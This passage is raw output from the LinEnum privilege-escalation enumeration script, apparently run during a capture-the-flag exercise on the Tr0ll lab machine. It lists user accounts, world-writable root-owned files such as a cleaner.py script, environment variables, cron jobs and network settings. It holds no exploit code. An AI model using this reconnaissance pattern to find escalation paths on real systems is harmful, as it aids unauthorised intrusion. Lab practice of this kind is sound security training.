lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
troll:x:1000:1000:Tr0ll,,,:/home/troll:/bin/bash
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:104:112:ftp daemon,,,:/srv/ftp:/bin/false
lololol:x:1001:1001::/home/lololol:
overflow:x:1002:1002::/home/overflow:
ps-aux:x:1003:1003::/home/ps-aux:
maleus:x:1004:1004::/home/maleus:
felux:x:1005:1005::/home/felux:
Eagle11:x:1006:1006::/home/Eagle11:
genphlux:x:1007:1007::/home/genphlux:
usmc8892:x:1008:1008::/home/usmc8892:
blawrg:x:1009:1009::/home/blawrg:
wytshadow:x:1010:1010::/home/wytshadow:
vis1t0r:x:1011:1011::/home/vis1t0r:
[-] Super user account(s):
root
[-] Are permissions on /home directories lax:
total 12K
drwxr-xr-x 3 root root 4.0K Aug 9 2014 .
drwxr-xr-x 21 root root 4.0K Aug 9 2014 ..
drwxr-xr-x 3 troll troll 4.0K Aug 13 2014 troll
[-] Files not owned by user but writable by group:
-rwxrwxrwx 1 troll root 8068 Aug 10 2014 /srv/ftp/lol.pcap
-rwxrwxrwx 1 root root 34 Aug 13 2014 /var/tmp/cleaner.py.swp
-rwxrwxrwx 1 root root 7296 Aug 11 2014 /var/www/html/sup3rs3cr3tdirlol/roflmao
-rwxrwxrwx 1 root root 23 Aug 13 2014 /var/log/cronlog
-rwxrwxrwx 1 root root 96 Aug 13 2014 /lib/log/cleaner.py
[-] Files owned by our user:
-rwxrwxr-x 1 overflow overflow 44413 Jul 15 15:22 /tmp/LinEnum.sh
-rw-rw-r-- 1 overflow overflow 6938 Sep 16 14:49 /tmp/LinEnum.txt
[-] Hidden files:
-rw-r--r-- 1 root root 280 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/arch/x86/include/generated/uapi/asm/.unistd_64.h.cmd
-rw-r--r-- 1 root root 300 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/arch/x86/include/generated/uapi/asm/.unistd_x32.h.cmd
-rw-r--r-- 1 root root 275 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/arch/x86/include/generated/uapi/asm/.unistd_32.h.cmd
-rw-r--r-- 1 root root 252 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/arch/x86/include/generated/asm/.syscalls_32.h.cmd
-rw-r--r-- 1 root root 3299 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/arch/x86/tools/.relocs_64.o.cmd
-rw-r--r-- 1 root root 3284 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/arch/x86/tools/.relocs_common.o.cmd
-rw-r--r-- 1 root root 3299 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/arch/x86/tools/.relocs_32.o.cmd
-rw-r--r-- 1 root root 146 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/arch/x86/tools/.relocs.cmd
-rw-r--r-- 1 root root 46089 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/arch/x86/kernel/.asm-offsets.s.cmd
-rw-r--r-- 1 root root 169704 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/.config
-rw-r--r-- 1 root root 720 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/.missing-syscalls.d
-rw-r--r-- 1 root root 169743 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/.config.old
-rw-r--r-- 1 root root 12604 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/kernel/.bounds.s.cmd
-rw-r--r-- 1 root root 4309 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/scripts/mod/.sumversion.o.cmd
-rw-r--r-- 1 root root 1906 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/scripts/mod/.empty.o.cmd
-rw-r--r-- 1 root root 2454 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/scripts/mod/.mk_elfconfig.cmd
-rw-r--r-- 1 root root 4658 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/scripts/mod/.devicetable-offsets.s.cmd
-rw-r--r-- 1 root root 539 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/scripts/mod/.devicetable-offsets.h.cmd
-rw-r--r-- 1 root root 129 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/scripts/mod/.modpost.cmd
-rw-r--r-- 1 root root 3368 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/scripts/mod/.file2alias.o.cmd
-rw-r--r-- 1 root root 104 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/scripts/mod/.elfconfig.h.cmd
-rw-r--r-- 1 root root 4424 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/scripts/mod/.modpost.o.cmd
-rw-r--r-- 1 root root 3266 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/scripts/.recordmcount.cmd
-rw-r--r-- 1 root root 2307 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/scripts/.conmakehash.cmd
-rw-r--r-- 1 root root 3432 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/scripts/.sortextable.cmd
-rw-r--r-- 1 root root 2296 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/scripts/.kallsyms.cmd
-rw-r--r-- 1 root root 3250 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/scripts/genksyms/.lex.lex.o.cmd
-rw-r--r-- 1 root root 2627 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/scripts/genksyms/.genksyms.o.cmd
-rw-r--r-- 1 root root 153 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/scripts/genksyms/.genksyms.cmd
-rw-r--r-- 1 root root 2402 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/scripts/genksyms/.parse.tab.o.cmd
-rw-r--r-- 1 root root 4137 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/scripts/basic/.fixdep.cmd
-rw-r--r-- 1 root root 3080 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/scripts/.asn1_compiler.cmd
-rw-r--r-- 1 root root 4774 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/scripts/kconfig/.zconf.tab.o.cmd
-rw-r--r-- 1 root root 3599 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/scripts/kconfig/.conf.o.cmd
-rw-r--r-- 1 root root 110 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/scripts/kconfig/.conf.cmd
-rw-r--r-- 1 root root 2737 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/scripts/selinux/mdp/.mdp.cmd
-rw-r--r-- 1 root root 3133 Jul 14 2014 /usr/src/linux-headers-3.13.0-32-generic/scripts/selinux/genheaders/.genheaders.cmd
-rw-r--r-- 1 root root 122 Jan 19 2014 /usr/src/linux-headers-3.13.0-32/scripts/.gitignore
-rw-r--r-- 1 root root 56 Jan 19 2014 /usr/src/linux-headers-3.13.0-32/scripts/mod/.gitignore
-rw-r--r-- 1 root root 42 Jan 19 2014 /usr/src/linux-headers-3.13.0-32/scripts/genksyms/.gitignore
-rw-r--r-- 1 root root 7 Jan 19 2014 /usr/src/linux-headers-3.13.0-32/scripts/basic/.gitignore
-rw-r--r-- 1 root root 167 Jan 19 2014 /usr/src/linux-headers-3.13.0-32/scripts/kconfig/.gitignore
-rw-r--r-- 1 root root 31 Jan 19 2014 /usr/src/linux-headers-3.13.0-32/scripts/kconfig/lxdialog/.gitignore
-rw-r--r-- 1 root root 55 Jan 19 2014 /usr/src/linux-headers-3.13.0-32/scripts/dtc/.gitignore
-rw-r--r-- 1 root root 21 Jan 19 2014 /usr/src/linux-headers-3.13.0-32/scripts/selinux/mdp/.gitignore
-rw-r--r-- 1 root root 11 Jan 19 2014 /usr/src/linux-headers-3.13.0-32/scripts/selinux/genheaders/.gitignore
-rw-r--r-- 1 root root 0 Sep 16 14:32 /run/network/.ifstate.lock
-rw-r--r-- 1 root root 1332 Aug 9 2014 /etc/apparmor.d/cache/.features
-rw-r--r-- 1 root root 0 Jul 22 2014 /etc/init.d/.legacy-bootordering
-rw-r--r-- 1 root root 102 Feb 8 2013 /etc/cron.d/.placeholder
-rw-r--r-- 1 root root 102 Feb 8 2013 /etc/cron.hourly/.placeholder
-rw-r--r-- 1 root root 102 Feb 8 2013 /etc/cron.monthly/.placeholder
-rw-r--r-- 1 root root 102 Feb 8 2013 /etc/cron.daily/.placeholder
-rw-r--r-- 1 root root 220 Apr 8 2014 /etc/skel/.bash_logout
-rw-r--r-- 1 root root 3637 Apr 8 2014 /etc/skel/.bashrc
-rw-r--r-- 1 root root 675 Apr 8 2014 /etc/skel/.profile
-rw------- 1 root root 0 Jul 22 2014 /etc/.pwd.lock
-rw-r--r-- 1 root root 102 Feb 8 2013 /etc/cron.weekly/.placeholder
-rw-r--r-- 1 troll troll 675 Aug 9 2014 /home/troll/.profile
-rw------- 1 troll troll 0 Aug 13 2014 /home/troll/.bash_history
-rw------- 1 troll troll 976 Aug 9 2014 /home/troll/.viminfo
[-] World-readable files within /home:
-rw-r--r-- 1 troll troll 675 Aug 9 2014 /home/troll/.profile
### ENVIRONMENTAL #######################################
[-] Environment information:
XDG_SESSION_ID=2
SHELL=/bin/sh
TERM=xterm-256color
SSH_CLIENT=192.168.1.8 52178 22
SSH_TTY=/dev/pts/0
USER=overflow
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
MAIL=/var/mail/overflow
PWD=/tmp
LANG=en_US.UTF-8
SHLVL=1
HOME=/home/overflow
LANGUAGE=en_US:
LOGNAME=overflow
SSH_CONNECTION=192.168.1.8 52178 192.168.1.23 22
XDG_RUNTIME_DIR=/run/user/1002
_=/usr/bin/env
[-] Path information:
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
[-] Available shells:
# /etc/shells: valid login shells
/bin/sh
/bin/dash
/bin/bash
/bin/rbash
[-] Current umask value:
0002
u=rwx,g=rwx,o=rx
[-] umask value as specified in /etc/login.defs:
UMASK 022
[-] Password and storage information:
PASS_MAX_DAYS 99999
PASS_MIN_DAYS 0
PASS_WARN_AGE 7
ENCRYPT_METHOD SHA512
### JOBS/TASKS ##########################################
[-] Cron jobs:
-rw------- 1 root root 722 Feb 8 2013 /etc/crontab
/etc/cron.d:
total 12
drwxr-xr-x 2 root root 4096 Aug 9 2014 .
drwxr-xr-x 86 root root 4096 Sep 16 14:32 ..
-rw-r--r-- 1 root root 102 Feb 8 2013 .placeholder
/etc/cron.daily:
total 68
drwxr-xr-x 2 root root 4096 Aug 9 2014 .
drwxr-xr-x 86 root root 4096 Sep 16 14:32 ..
-rwxr-xr-x 1 root root 625 Jul 22 2014 apache2
-rwxr-xr-x 1 root root 15481 Apr 10 2014 apt
-rwxr-xr-x 1 root root 314 Feb 17 2014 aptitude
-rwxr-xr-x 1 root root 355 Jun 4 2013 bsdmainutils
-rwxr-xr-x 1 root root 256 Mar 7 2014 dpkg
-rwxr-xr-x 1 root root 372 Jan 22 2014 logrotate
-rwxr-xr-x 1 root root 1261 Apr 10 2014 man-db
-rwxr-xr-x 1 root root 435 Jun 20 2013 mlocate
-rwxr-xr-x 1 root root 249 Feb 16 2014 passwd
-rw-r--r-- 1 root root 102 Feb 8 2013 .placeholder
-rwxr-xr-x 1 root root 2417 May 13 2013 popularity-contest
-rwxr-xr-x 1 root root 328 Jul 18 2014 upstart
/etc/cron.hourly:
total 12
drwxr-xr-x 2 root root 4096 Aug 10 2014 .
drwxr-xr-x 86 root root 4096 Sep 16 14:32 ..
-rw-r--r-- 1 root root 102 Feb 8 2013 .placeholder
/etc/cron.monthly:
total 12
drwxr-xr-x 2 root root 4096 Aug 9 2014 .
drwxr-xr-x 86 root root 4096 Sep 16 14:32 ..
-rw-r--r-- 1 root root 102 Feb 8 2013 .placeholder
/etc/cron.weekly:
total 24
drwxr-xr-x 2 root root 4096 Aug 9 2014 .
drwxr-xr-x 86 root root 4096 Sep 16 14:32 ..
-rwxr-xr-x 1 root root 730 Feb 23 2014 apt-xapian-index
-rwxr-xr-x 1 root root 427 Apr 16 2014 fstrim
-rwxr-xr-x 1 root root 771 Apr 10 2014 man-db
-rw-r--r-- 1 root root 102 Feb 8 2013 .placeholder
### NETWORKING ##########################################
[-] Network and IP info:
eth0 Link encap:Ethernet HWaddr 08:00:27:f9:8d:be
inet addr:192.168.1.23 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: 2a01:e35:1394:b540:a00:27ff:fef9:8dbe/64 Scope:Global
inet6 addr: fe80::a00:27ff:fef9:8dbe/64 Scope:Link
inet6 addr: 2a01:e35:1394:b540:5412:430a:712a:4252/64 Scope:Global
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1443 errors:0 dropped:0 overruns:0 frame:0
TX packets:1025 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:226083 (226.0 KB) TX bytes:148465 (148.4 KB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:16 errors:0 dropped:0 overruns:0 frame:0
TX packets:16 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:1184 (1.1 KB) TX bytes:1184 (1.1 KB)
[-] ARP history:
? (192.168.1.254) at 68:a3:78:8b:0c:dd [ether] on eth0
? (192.168.1.8) at 08:00:27:ca:e8:b7 [ether] on eth0
[-] Nameserver(s):
nameserver 192.168.1.254
[-] Default route:
default 192.168.1.254 0.0.0.0 UG 0 0 0 eth0